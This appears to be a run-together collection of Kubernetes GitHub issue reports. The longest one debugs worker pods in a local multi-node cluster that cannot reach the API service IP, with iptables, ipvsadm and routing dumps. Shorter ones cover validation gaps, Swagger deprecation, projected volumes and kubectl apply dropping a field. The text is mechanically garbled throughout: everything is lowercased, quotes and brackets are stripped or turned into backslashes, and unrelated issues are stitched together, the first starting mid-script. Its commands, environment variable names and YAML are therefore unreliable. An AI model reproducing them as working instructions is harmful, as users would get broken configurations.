/kube-proxy-${instance}.kubeconfig\r \r   ${kubectl} config set-context local-up-cluster \\\r     --cluster=local-up-cluster \\\r     --user=system:node:${instance} \\\r     --kubeconfig=\ ${cert_dir}\ /kube-proxy-${instance}.kubeconfig\r \r   ${kubectl} config use-context local-up-cluster --kubeconfig=\ ${cert_dir}\ /kube-proxy-${instance}.kubeconfig\r done\r \r </pre>\r \r run k8s cluster master as\r <pre>\r \r   enable_daemon=true kube_proxy_mode=ipvs etcd_host=0.0.0.0 hack/cluster-master.sh -o\r warning : the kubelet is configured to not fail if swap is enabled; production deployments should disable swap.\r skipped the build.\r  warning: usage of loopback devices is strongly discouraged for production use. use  --storage-opt dm.thinpooldev  to specify a custom block storage device.\r warning: bridge-nf-call-iptables is disabled\r warning: bridge-nf-call-ip6tables is disabled\r kubelet cgroup driver defaulted to use: systemd\r api server insecure port is free, proceeding...\r api server secure port is free, proceeding...\r detected host and ready to start services.  doing some housekeeping first...\r using go_out /home/kubernetes/_output/bin\r starting services now!\r starting etcd\r etcd --advertise-client-urls http://0.0.0.0:2379 --data-dir /tmp/tmp.ozske90cbr --listen-client-urls http://0.0.0.0:2379 --debug > \ /dev/null\  2>/dev/null\r waiting for etcd to come up.\r +++  0221 13:21:16  on try 1, etcd: : http://0.0.0.0:2379\r {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :4,\ createdindex\ :4}}\r generating a 2048 bit rsa private key\r ..............................................................+++\r ..+++\r writing new private key to '/var/run/kubernetes/server-ca.key'\r -----\r generating a 2048 bit rsa private key\r ....................................................................+++\r .............................................+++\r writing new private key to '/var/run/kubernetes/client-ca.key'\r -----\r generating a 2048 bit rsa private key\r .+++\r ...........cutted...............\r waiting for apiserver to come up\r +++  0221 13:21:32  on try 8, apiserver: : ok\r cluster \ local-up-cluster\  set.\r use 'kubectl --kubeconfig=/var/run/kubernetes/admin-kube-aggregator.kubeconfig' to use the aggregated api server\r services \ kube-dns\  created\r serviceaccounts \ kube-dns\  created\r configmaps \ kube-dns\  created\r deployments \ kube-dns\  created\r kube-dns addon successfully deployed.\r kubelet   24991   is running.\r create default storage class for\r storageclasses \ standard\  created\r local kubernetes cluster is running.\r \r logs:\r   /tmp/kube-apiserver.log\r   /tmp/kube-controller-manager.log\r \r   /tmp/kube-proxy.log\r   /tmp/kube-scheduler.log\r   /tmp/kubelet.log\r \r to start using your cluster, run:\r \r   export kubeconfig=/var/run/kubernetes/admin.kubeconfig\r   cluster/kubectl.sh\r \r alternatively, you can write to the default kubeconfig:\r \r   export kubernetes_provider=local\r \r   cluster/kubectl.sh config set-cluster local --server=https://192.168.1.168:6443 --certificate-authority=/var/run/kubernetes/server-ca.crt\r   cluster/kubectl.sh config set-credentials myself --client-key=/var/run/kubernetes/client-admin.key --client-certificate=/var/run/kubernetes/client-admin.crt\r   cluster/kubectl.sh config set-context local --cluster=local --user=myself\r   cluster/kubectl.sh config use-context local\r   cluster/kubectl.sh\r \r </pre>\r create kubelet/kube-proxy kubeconfig for worker node and copy to worker node\r <pre>\r  root@centos-k8s kubernetes   hack/kubeconfig.sh\r ..........................cutted...............\r cluster \ local-up-cluster\  set.\r user \ system:node:192.168.1.169\  set.\r context \ local-up-cluster\  modified.\r switched to context \ local-up-cluster\ .\r cluster \ local-up-cluster\  set.\r user \ system:node:192.168.1.169\  set.\r context \ local-up-cluster\  modified.\r switched to context \ local-up-cluster\ .\r \r  root@centos-k8s kubernetes    scp /var/run/kubernetes/ 192 .kubeconfig 10.3.72.169:/var/run/kubernetes/\r root@10.3.72.169's password:\r kubelet-192.168.1.169.kubeconfig                                                                     100% 6145     6.0mb/s   00:00\r kube-proxy-192.168.1.169.kubeconfig                                                                  100% 6125     7.4mb/s   00:00\r \r </pre>\r \r run k8s cluster worker node as\r <pre>\r   kube_proxy_mode=ipvs start_mode=kubeletonly  hack/cluster-worker.sh -o\r warning : the kubelet is configured to not fail if swap is enabled; production deployments should disable swap.\r skipped the build.\r  warning: usage of loopback devices is strongly discouraged for production use. use  --storage-opt dm.thinpooldev  to specify a custom block storage device.\r warning: bridge-nf-call-iptables is disabled\r warning: bridge-nf-call-ip6tables is disabled\r kubelet cgroup driver defaulted to use: systemd\r detected host and ready to start services.  doing some housekeeping first...\r using go_out /home/kubernetes/_output/bin\r starting services now!\r kubelet   3793   is running.\r the kubelet was started.\r \r logs:\r   /tmp/kubelet.log\r \r </pre>\r \r master and worker node looks ok\r <pre>\r   cluster/kubectl.sh get no -o wide\r name            status    roles     age       version                                    external-ip   os-image                kernel-version          container-runtime\r 192.168.1.168   ready     <none>    4m        v1.11.0-alpha.0.255+d1cb55c8a7928e-dirty   <none>        centos linux 7  core    3.10.0-693.el7.x86_64   docker://1.12.6\r 192.168.1.169   ready     <none>    40s       v1.11.0-alpha.0.255+d1cb55c8a7928e-dirty   <none>        centos linux 7  core    3.10.0-693.el7.x86_64   docker://1.12.6\r \r </pre>\r \r now deploy kube-flannel.yaml\r <pre>\r   cluster/kubectl.sh apply -f kube-flannel.yaml --namespace=kube-system\r clusterroles \ flannel\  created\r clusterrolebindings \ flannel\  created\r serviceaccounts \ flannel\  created\r configmaps \ kube-flannel-cfg\  created\r daemonsets \ kube-flannel-ds\  created\r \r </pre>\r \r check kube-flannel pod on worker node\r <pre>\r \r   cluster/kubectl.sh get po -o wide --namespace=kube-system\r name                        ready     status             restarts   age       ip              node\r kube-dns-6844cfbdfb-7lxkf   3/3       running            0          7m        10.244.0.23     192.168.1.168\r kube-flannel-ds-44pz8       1/1       running            0          2m        192.168.1.168   192.168.1.168\r kube-flannel-ds-ws9jf       0/1       crashloopbackoff   2          2m        192.168.1.169   192.168.1.169\r \r   cluster/kubectl.sh logs kube-flannel-ds-ws9jf --namespace=kube-system\r i0221 21:27:35.615094       1 main.go:488  using interface with name eth1 and address 192.168.1.169\r i0221 21:27:35.615424       1 main.go:505  defaulting external address to interface address  192.168.1.169 \r e0221 21:28:05.617316       1 main.go:232  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-ws9jf': get https://10.0.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-ws9jf: dial tcp 10.0.0.1:443: i/o timeout\r \r </pre>\r \r   anything else we need to know?  :\r \r i have the idea of pulling most recent k8s from kubernetes github upstream and test k8s in multi node environment with f5 networks  https://github.com/f5networks/k8s-bigip-ctlr.  so i would always have the most recent k8s code  with most recent k8s-bigip-ctlr test environment.\r \r i don't think kube-flannel is the problem here, it is just an example that pod in worker node can't connect to the internal k8s api service 10.0.0.1:443,  even running curl in the worker node can't connect to 10.0.0.1:443\r \r in my test i used kube proxy mode ipvs, but i have same problem with iptables as kube proxy mode\r \r i may have missed some configuration and this may not be bug , but i appreciate any guidance on this problem\r \r cluster master network info\r <pre>\r   ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.0.0.1:443 rr persistent 10800\r   -> 192.168.1.168:6443           masq    1      2          0\r tcp  10.0.0.10:53 rr\r   -> 10.244.0.23:53               masq    1      0          0\r udp  10.0.0.10:53 rr\r   -> 10.244.0.23:53               masq    1      0          0\r \r   iptables -t nat -n -l\r chain prerouting  policy accept \r target     prot opt source               destination\r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r docker     all  --  0.0.0.0/0            0.0.0.0/0            addrtype match dst-type local\r \r chain input  policy accept \r target     prot opt source               destination\r \r chain output  policy accept \r target     prot opt source               destination\r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r docker     all  --  0.0.0.0/0           !127.0.0.0/8          addrtype match dst-type local\r \r chain postrouting  policy accept \r target     prot opt source               destination\r kube-postrouting  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes postrouting rules  /\r masquerade  all  --  172.17.0.0/16        0.0.0.0/0\r return     all  --  10.244.0.0/16        10.244.0.0/16\r masquerade  all  --  10.244.0.0/16       !224.0.0.0/4\r return     all  -- !10.244.0.0/16        10.244.0.0/24\r masquerade  all  -- !10.244.0.0/16        10.244.0.0/16\r \r chain docker  2 references \r target     prot opt source               destination\r return     all  --  0.0.0.0/0            0.0.0.0/0\r \r chain kube-fire-wall  0 references \r target     prot opt source               destination\r \r chain kube-mark-drop  0 references \r target     prot opt source               destination\r mark       all  --  0.0.0.0/0            0.0.0.0/0            mark or 0x8000\r \r chain kube-mark-masq  0 references \r target     prot opt source               destination\r mark       all  --  0.0.0.0/0            0.0.0.0/0            mark or 0x4000\r \r chain kube-postrouting  1 references \r target     prot opt source               destination\r masquerade  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r masquerade  all  --  0.0.0.0/0            0.0.0.0/0            match-set kube-loop-back dst,dst,src\r \r chain kube-services  2 references \r target     prot opt source               destination\r \r   iptables -n -l\r chain input  policy accept \r target     prot opt source               destination\r kube-firewall  all  --  0.0.0.0/0            0.0.0.0/0\r \r chain forward  policy accept \r target     prot opt source               destination\r docker-isolation  all  --  0.0.0.0/0            0.0.0.0/0\r docker     all  --  0.0.0.0/0            0.0.0.0/0\r accept     all  --  0.0.0.0/0            0.0.0.0/0            ctstate related,established\r accept     all  --  0.0.0.0/0            0.0.0.0/0\r accept     all  --  0.0.0.0/0            0.0.0.0/0\r accept     all  --  10.244.0.0/16        0.0.0.0/0\r accept     all  --  0.0.0.0/0            10.244.0.0/16\r \r chain output  policy accept \r target     prot opt source               destination\r kube-firewall  all  --  0.0.0.0/0            0.0.0.0/0\r \r chain docker  1 references \r target     prot opt source               destination\r \r chain docker-isolation  1 references \r target     prot opt source               destination\r return     all  --  0.0.0.0/0            0.0.0.0/0\r \r chain kube-firewall  2 references \r target     prot opt source               destination\r drop       all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r \r   ip route show\r default via 10.3.254.254 dev eth0 proto static metric 100\r 10.3.0.0/16 dev eth0 proto kernel scope link src 10.3.72.168 metric 100\r 10.244.0.0/24 dev cni0 proto kernel scope link src 10.244.0.1\r 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1\r 192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.168 metric 100\r \r   ip addr show\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host\r        valid_lft forever preferred_lft forever\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up qlen 1000\r     link/ether 52:54:00:a0:ea:83 brd ff:ff:ff:ff:ff:ff\r     inet 10.3.72.168/16 brd 10.3.255.255 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::d60f:453a:a188:23fd/64 scope link\r        valid_lft forever preferred_lft forever\r     inet6 fe80::1f30:56da:a20c:6574/64 scope link tentative dadfailed\r        valid_lft forever preferred_lft forever\r 3: eth1: <broadcast,multicast,up,lower_up> mtu 1400 qdisc pfifo_fast state up qlen 1000\r     link/ether 52:54:00:cf:91:8e brd ff:ff:ff:ff:ff:ff\r     inet 192.168.1.168/24 brd 192.168.1.255 scope global eth1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::498:5906:87ca:c493/64 scope link\r        valid_lft forever preferred_lft forever\r     inet6 fe80::fdfd:fb1f:204f:e03f/64 scope link tentative dadfailed\r        valid_lft forever preferred_lft forever\r 4: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down\r     link/ether 02:42:ba:8b:31:0f brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r 5: dummy0: <broadcast,noarp> mtu 1500 qdisc noop state down qlen 1000\r     link/ether 9a:ea:3f:8a:39:81 brd ff:ff:ff:ff:ff:ff\r 6: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down\r     link/ether 82:b6:9d:b8:fe:16 brd ff:ff:ff:ff:ff:ff\r     inet 10.0.0.1/32 brd 10.0.0.1 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.0.0.10/32 brd 10.0.0.10 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r 7: flannel.1: <broadcast,multicast,up,lower_up> mtu 1350 qdisc noqueue state unknown\r     link/ether 0e:b3:53:6b:71:39 brd ff:ff:ff:ff:ff:ff\r     inet 10.244.0.0/32 scope global flannel.1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::cb3:53ff:fe6b:7139/64 scope link\r        valid_lft forever preferred_lft forever\r 8: cni0: <broadcast,multicast,up,lower_up> mtu 1350 qdisc noqueue state up qlen 1000\r     link/ether de:9f:7b:70:3c:56 brd ff:ff:ff:ff:ff:ff\r     inet 10.244.0.1/24 scope global cni0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::dc9f:7bff:fe70:3c56/64 scope link\r        valid_lft forever preferred_lft forever\r 10: veth8006881b@if3: <broadcast,multicast,up,lower_up> mtu 1350 qdisc noqueue master cni0 state up\r     link/ether 22:fb:13:24:c5:f9 brd ff:ff:ff:ff:ff:ff link-netnsid 0\r     inet6 fe80::20fb:13ff:fe24:c5f9/64 scope link\r        valid_lft forever preferred_lft forever\r \r \r </pre>\r \r cluster worker node network info\r \r <pre>\r   ipvsadm -ln\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.0.0.1:443 rr persistent 10800\r   -> 192.168.1.168:6443           masq    1      0          0\r tcp  10.0.0.10:53 rr\r   -> 10.244.0.23:53               masq    1      0          0\r udp  10.0.0.10:53 rr\r   -> 10.244.0.23:53               masq    1      0          0\r \r   iptables -t nat -n -l\r chain prerouting  policy accept \r target     prot opt source               destination\r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r docker     all  --  0.0.0.0/0            0.0.0.0/0            addrtype match dst-type local\r \r chain input  policy accept \r target     prot opt source               destination\r \r chain output  policy accept \r target     prot opt source               destination\r kube-services  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service portals  /\r docker     all  --  0.0.0.0/0           !127.0.0.0/8          addrtype match dst-type local\r \r chain postrouting  policy accept \r target     prot opt source               destination\r kube-postrouting  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes postrouting rules  /\r masquerade  all  --  172.17.0.0/16        0.0.0.0/0\r \r chain docker  2 references \r target     prot opt source               destination\r return     all  --  0.0.0.0/0            0.0.0.0/0\r \r chain kube-fire-wall  0 references \r target     prot opt source               destination\r \r chain kube-mark-drop  0 references \r target     prot opt source               destination\r mark       all  --  0.0.0.0/0            0.0.0.0/0            mark or 0x8000\r \r chain kube-mark-masq  0 references \r target     prot opt source               destination\r mark       all  --  0.0.0.0/0            0.0.0.0/0            mark or 0x4000\r \r chain kube-postrouting  1 references \r target     prot opt source               destination\r masquerade  all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r masquerade  all  --  0.0.0.0/0            0.0.0.0/0            match-set kube-loop-back dst,dst,src\r \r chain kube-services  2 references \r target     prot opt source               destination\r \r   iptables  -n -l\r chain input  policy accept \r target     prot opt source               destination\r kube-firewall  all  --  0.0.0.0/0            0.0.0.0/0\r \r chain forward  policy accept \r target     prot opt source               destination\r docker-isolation  all  --  0.0.0.0/0            0.0.0.0/0\r docker     all  --  0.0.0.0/0            0.0.0.0/0\r accept     all  --  0.0.0.0/0            0.0.0.0/0            ctstate related,established\r accept     all  --  0.0.0.0/0            0.0.0.0/0\r accept     all  --  0.0.0.0/0            0.0.0.0/0\r \r chain output  policy accept \r target     prot opt source               destination\r kube-firewall  all  --  0.0.0.0/0            0.0.0.0/0\r \r chain docker  1 references \r target     prot opt source               destination\r \r chain docker-isolation  1 references \r target     prot opt source               destination\r return     all  --  0.0.0.0/0            0.0.0.0/0\r \r chain kube-firewall  2 references \r target     prot opt source               destination\r drop       all  --  0.0.0.0/0            0.0.0.0/0            /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r \r   ip route show\r default via 10.3.254.254 dev eth0 proto static metric 100\r 10.3.0.0/16 dev eth0 proto kernel scope link src 10.3.72.169 metric 100\r 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1\r 192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.169 metric 100\r \r   ip addr show\r \r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host\r        valid_lft forever preferred_lft forever\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up qlen 1000\r     link/ether 52:54:00:57:e9:e3 brd ff:ff:ff:ff:ff:ff\r     inet 10.3.72.169/16 brd 10.3.255.255 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::1f30:56da:a20c:6574/64 scope link\r        valid_lft forever preferred_lft forever\r 3: eth1: <broadcast,multicast,up,lower_up> mtu 1400 qdisc pfifo_fast state up qlen 1000\r     link/ether 52:54:00:3b:ae:e4 brd ff:ff:ff:ff:ff:ff\r     inet 192.168.1.169/24 brd 192.168.1.255 scope global eth1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::fdfd:fb1f:204f:e03f/64 scope link\r        valid_lft forever preferred_lft forever\r 4: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down\r     link/ether 02:42:5c:fc:a4:c1 brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r 5: dummy0: <broadcast,noarp> mtu 1500 qdisc noop state down qlen 1000\r     link/ether 2e:1e:d6:90:7b:90 brd ff:ff:ff:ff:ff:ff\r 6: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down\r     link/ether e6:01:f7:76:2a:c2 brd ff:ff:ff:ff:ff:ff\r     inet 10.0.0.1/32 brd 10.0.0.1 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.0.0.10/32 brd 10.0.0.10 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r \r </pre>\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r master node and worker node runs same k8s version\r <pre>\r   cluster/kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.255+d1cb55c8a7928e-dirty\ , gitcommit:\ d1cb55c8a7928e9dc733bf3d514cc8bc274b124b\ , gittreestate:\ dirty\ , builddate:\ 2018-02-21t17:06:41z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.255+d1cb55c8a7928e-dirty\ , gitcommit:\ d1cb55c8a7928e9dc733bf3d514cc8bc274b124b\ , gittreestate:\ dirty\ , builddate:\ 2018-02-21t17:06:41z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r </pre>\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r <pre>\r   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r </pre>\r - kernel  e.g.  uname -a  :\r <pre>\r   uname -a\r linux centos-k8s 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r </pre>\r - install tools: \r based on https://github.com/kubernetes/community/blob/master/contributors/devel/running-locally.md\r - others:\r

 \r each term in nodeaffinity's nodeselector is validated against the label name format, but not the label value format:\r https://github.com/kubernetes/kubernetes/blob/8d28c5102be9159104839c2848b9889a7c8870b7/pkg/apis/core/validation/validation.go l3003\r \r whereas both label names and label values are validated for the  label  and  spec.nodeselector , among other things, using this function:\r https://github.com/kubernetes/kubernetes/blob/1e767ddf606f07c11dd66363eac299369b5ac3b6/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/validation/validation.go l65\r \r  \r /cc @bsalamat @msau42

today, while looking at some e2e metrics for our scale tests i saw that there are still few things that are using json instead of protobuf.\r should these be moved to protobuf or do we have a reason to not?\r \r here's a rough list of components using json   ref  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/114/artifacts/metricsfore2e_density_2018-02-21t11:40:45z.json  :\r \r - event-exporter/v0.0.0  for  watch events  \r - glbc/v0.0.0  for  get configmaps ,  watch nodes ,  watch pods ,  watch services ,  watch ingresses  \r - kube-controller-manager/v1.11.0:generic-garbage-collector  for  get pods ,  delete pods ,  watch scalingpolicies ,  watch networkpolicies  \r - kubectl  for various calls  - seeing issue https://github.com/kubernetes/kubernetes/issues/50403 for this\r - node-problem-detector/v1.4.0  for  patch node-status  \r \r cc @kubernetes/sig-api-machinery-bugs @liggitt @wojtek-t

what happened  :\r running  hack/godep-restore.sh  will fail if gopath is not set. this is invisible if called from a context like  make update .\r \r this seems to specifically be caused in  kube::util::godep_restored , in  hack/lib/util.sh .\r \r   what you expected to happen  :\r the script should be able to use the default implicit gopath.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  unset gopath && ./hack/godep-restore.sh \r \r   anything else we need to know?  :\r \r   environment  :\r go version go1.11.4 darwin/amd64

list here: https://github.com/kubernetes/community/wiki/roadmap:-kubectl  cross them out as you complete them  ---    list of additional issues -      34457  exec pods on master unsupported -      30081 --dry-run + -i unsupported

we plan to remove swagger 1.2 support in kubernetes 1.9 in favor of our  openapi spec  https://github.com/kubernetes/kubernetes/blob/master/api/openapi-spec/swagger.json . please check  openapi specification  https://github.com/oai/openapi-specification/blob/master/versions/2.0.md  for more information. this  migration guide  https://github.com/oai/openapi-specification/wiki/swagger-1.2-to-2.0-migration-guide  is also helpful in regard to comparing two specs and how to navigate between them.\r \r before deprecating swagger 1.2, we need to move all of k8s components to use openapi. this is the list of components need updating:\r \r -  x  kubectl   44589,  5889,  39434 \r \r  probably related issues  https://github.com/kubernetes/kubernetes/issues?utf8=%e2%9c%93&q=is%3aissue%20is%3aopen%20kubectl%20swagger \r \r related:\r \r -  x  update documentation after 1.2 deprecation, here https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/concepts/overview/kubernetes-api.md\r -     add a readme file  here  https://github.com/kubernetes/kubernetes/tree/master/api/swagger-spec  to highlight the deprecation for the spec.\r -     add deprecation release note to 1.8

hi,\r \r friday and today i created a kubernetes container service in azure targeting windows containers.  both times the exposed service has not been accessible.  the ip:port combinations show up in the external endpoints column e.g.  kubectl get svc  but when i click on link it fails to find site.  if i exec into each pod  after downloading credentials  and perform an exec and a run powershell curl e.g.  kubectl exec {pod_id} powershell \ curl 'http://localhost' -usebasicparsing\   i get 200 and a valid response.\r \r it runs locally on windows 10  docker for windows . \r \r   i'm using all the latest bits.   and have followed all the instructions!\r \r to really strip back everything i have used a basic container that has one html page  base: microsoft/aspnet .\r \r you can see this by using image garrardkitchen/test  exposes port 8001 :\r    \r docker run -p 8001:8001 --name test -d garrardkitchen/test\r    \r and to get container ip  i'm using windows containers here don't forget  i perform:\r    \r docker inspect -f \ {{ .networksettings.networks.nat.ipaddress }}\  test\r    \r \r then load this ip address into the browser and it works as per  you will see   test 123!!!   \r \r any ideas as to why endpoints are inaccessible?\r \r warmest regards,\r \r garrard.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r this is a follow up for some review comments from @timstclair \r \r https://github.com/kubernetes/kubernetes/pull/46903 discussion_r124653906\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r projected volumes are very useful for combining config and secrets. however, a basic use case is missing. i have a secret that contains many items in it e.g. database name -> password mappings, which change frequently.\r \r i have a config which contains only one item  a file .\r \r i want to project these into a directory structure like this:\r \r    \r config                                                                                                                                                                                                                             \r ├── app-config.json\r └── credentials\r     ├── db1\r     └── db2\r     └── ...\r     └── dbn\r    \r \r currently, in order to produce this structure, the projected volume needs to define every single item in the credentials list, which is hard to maintain and means the container has to be updated every time this list changes:\r \r    \r       volumes:\r       - name: config\r         projected:\r           sources:\r           - secret:\r               name: db-credentials\r               items:\r                 - key: db1\r                   path: credentials/db1\r                 - key: db2\r                   path: credentials/db2\r                  ... \r                 - key: dbn\r                   path: credentials/dbn\r           - configmap:\r               name: app-config\r    \r \r a simple solution would be to allow specification of  path  at the  secret  level to avoid having to list every item, and have every secret named be handled within that path, which would be consistent behavior with a direct secret volume mount:\r \r    \r       volumes:\r       - name: config\r         projected:\r           sources:\r           - secret:\r               name: db-credentials\r               path: credentials\r           - configmap:\r               name: app-config\r    \r \r i believe the same concept could apply to other projected items like configmaps and downward api items, but i have not considered those extensively.\r \r   anything else we need to know?  : no\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r

when i try to create a persistentvolumeclaim using   kubectl apply  , the   spec.storageclassname   field is dropped. you need to use kubectl create instead.\r \r is this expected behaviour? i am using pvc within an opensshift template, which i process in order to do updates on my namespace  hence using the apply iso create sub-command of kubectl/oc .\r \r     oc process -f template.yaml | apply -f - -n test-namespace\r \r on our kubernetes cluster we are using the apply subcommand to support updates from our ci/cd pipeline.\r \r reproduction traces:\r \r       cat pvc.yaml\r     kind: persistentvolumeclaim\r     apiversion: v1\r     metadata:\r       name: \ test-pvc\ \r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: \ 1gi\ \r       storageclassname: heketi\r       \r       kubectl apply -f pvc.yaml\r     persistentvolumeclaim \ test-pvc\  created\r \r       kubectl get pvc test-pvc -o yaml\r     apiversion: v1\r     kind: persistentvolumeclaim\r     metadata:\r       annotations:\r         kubectl.kubernetes.io/last-applied-configuration: '{\ kind\ :\ persistentvolumeclaim\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-pvc\ ,\ creationtimestamp\ :null},\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 1gi\ }}},\ status\ :{}}'\r       creationtimestamp: 2018-01-07t19:31:26z\r       name: test-pvc\r       namespace: es6-acc-log-fluentd\r       resourceversion: \ 95120636\ \r       selflink: /api/v1/namespaces/test-namespace/persistentvolumeclaims/test-pvc\r       uid: 59f859cc-f3e1-11e7-819a-005056830d0a\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 1gi\r     status:\r       phase: pending\r \r       kubectl describe pvc test-pvc\r       name:          test-pvc\r       namespace:     test-namespace\r       storageclass:\r       status:        pending\r       volume:\r       labels:        <none>\r       annotations:   kubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ persistentvolumeclaim\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-pvc\ ,\ creationtimestamp\ :null},\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ reso...\r       finalizers:      \r       capacity:\r       access modes:\r       events:\r         type    reason         age               from                         message\r         ----    ------         ----              ----                         -------\r         normal  failedbinding  9s  x12 over 2m   persistentvolume-controller  no persistent volumes available for this claim and no storage class is set

 \r implement this proposal: https://github.com/kubernetes/community/pull/1460\r \r most of the pieces made it in to 1.10 under the tokenrequest feature flag which is currently alpha. notably missing are:\r - changes to tokenrequest to support non-apiserver audiences\r - the jwk url endpoint\r \r before beta:\r -  x  resolve https://github.com/kubernetes/kubernetes/pull/55019 discussion_r170391801\r -  x  integration test node restriction

./cluster/../cluster/../cluster/gce/util.sh: line 792: custom_kube_dashboard_banner: unbound variable \r \r @konryd you added this variable - ptal

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r the terms are anded, which is not correct: https://github.com/kubernetes/kubernetes/blob/head/pkg/volume/util/util.go l281-l289\r

upon running the command to build the cluster, i get an error: http://pastebin.com/wvha91f4

